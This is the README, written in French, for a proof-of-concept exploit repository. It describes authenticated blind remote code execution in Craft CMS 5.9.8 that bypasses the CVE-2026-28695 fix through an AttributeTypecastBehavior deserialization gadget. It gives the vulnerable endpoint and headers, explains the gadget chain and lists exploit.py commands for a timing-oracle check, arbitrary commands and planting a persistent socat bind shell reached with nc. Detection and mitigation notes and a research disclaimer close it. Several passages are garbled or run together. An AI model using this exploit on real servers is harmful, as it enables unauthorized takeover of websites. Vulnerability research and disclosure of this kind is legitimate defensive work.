Exécution de code à distance **aveugle** et authentifiée dans Craft CMS. Correctif pour CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (approx — verify)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (SSTI origin)
Base : CVE-2026-28695 (SSTI via create() + Symfony Process)
Fix : advisory fix e31e508 (restricts create() to BaseObject) — BYPASSED here
Affects : Craft CMS ≤ 5.9.8 with the CVE-2026-28695 fix applied
Exécution de code à distance authentifiée et aveugle dans Craft CMS. Le correctif officiel pour
CVE-2026-28695 ne restreint create() qu'aux sous-classes de yii\base\BaseObject. Le
gadget yii\behaviors\AttributeTypecastBehavior est un BaseObject mais atteint tout de même un
sink call_user_func(), il survit donc au filtre. Livré via l'action non-Twig
admin/actions/element-search/search, il contourne également CRAFT_ENABLE_TWIG_SANDBOX.
Un compte Content Editor suffit.
Le contrôleur element-search de Craft désérialise le JSON de l'attaquant en objets PHP vivants via
la machinerie Craft::createObject() / Instance de Yii. En attachant un AttributeTypecastBehavior
dont attributeTypes mappe un attribut vers le callable [Psy\Readline\Hoa\ConsoleProcessus, execute]
et en déclenchant l'événement beforeSave, le typecast devient :
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
Le point de terminaison répond toujours HTTP 500 et ne renvoie aucune sortie de commande — l'exécution est aveugle.
create() + Symfony Process, atteint depuis un sink Twig
(typiquement Entry Types → Title Format).e31e508 restreint create() aux sous-classes de BaseObject, et
la cible tourne également avec CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) et
CRAFT_ENABLE_TWIG_SANDBOX=true. Le vecteur documenté est triple-fermé.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Double contournement, par construction :
element-search est un chemin d'objet PHP, pas un rendu Twig.
CRAFT_ENABLE_TWIG_SANDBOX ne contrôle que le moteur de templates, il ne s'applique donc jamais.create() à BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, il satisfait donc la nouvelle contrainte
tout en offrant toujours un sink d'exécution. Le correctif ferme une famille de classes, pas la
classe BaseObject.Point de terminaison :
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() exécute la commande via escapeshellcmd() :
| && ; > < $() ' " → pas de chaînage, pas de pipes, pas de redirection, pas de
reverse shell bash classique.: , /C'est pourquoi le payload est un shell bind unique socat TCP-LISTEN,fork EXEC (arguments en
: / , / /) plutôt qu'un reverse shell.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Statut | Versions |
|---|---|
| Vulnérable | Craft CMS ≤ 5.9.8 avec le correctif CVE-2026-28695 |
| Note | Le gadget nécessite une session CP authentifiée |
| Fichier | Rôle |
|---|---|
exploit.py | PoC : login → vérification de l'oracle temporel → cmd unique → bind shell |
README.md | Ce fichier |
Nécessite requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
Ce qui se passe :
AttributeTypecastBehavior à element-search.--check prouve l'exécution aveugle par latence injectée ; --bind dépose un listener socat.create()), et auditer la gestion des conditions de
element-search.CRAFT_ALLOW_ADMIN_CHANGES=false et minimiser les privilèges Content Editor — l'authentification est
la seule condition préalable ici.psy/psysh (Hoa) embarquée là où un gadget ConsoleProcessus::execute
est atteignable.element-search/search contenant __class, as rce, ou
AttributeTypecastBehavior ; signaler les rafales de HTTP 500 provenant de cette action.e31e508 (create() → restriction BaseObject)AttributeTypecastBehavior / yii\base\SecurityCe projet est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Il vous incombe de respecter les lois applicables et les règles d'engagement de votre laboratoire ou client.